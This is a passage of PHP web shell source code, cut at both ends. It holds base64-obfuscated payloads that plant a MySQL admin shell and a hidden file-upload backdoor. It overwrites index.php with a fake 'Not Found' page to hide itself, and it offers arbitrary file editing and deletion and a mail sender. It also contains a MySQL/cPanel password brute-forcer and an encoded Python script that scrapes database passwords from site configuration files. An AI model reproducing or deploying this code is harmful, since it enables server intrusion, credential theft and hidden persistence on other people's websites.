3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, please patch me ASAP ;-p</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'bye!';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By X'1n73ct
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "X'1n73ct~ user is (<b><font color=red>$user</font></b>) Password is (<b><font color=red>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=red>$ok</font> Cpanel by x'1n73ct</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDI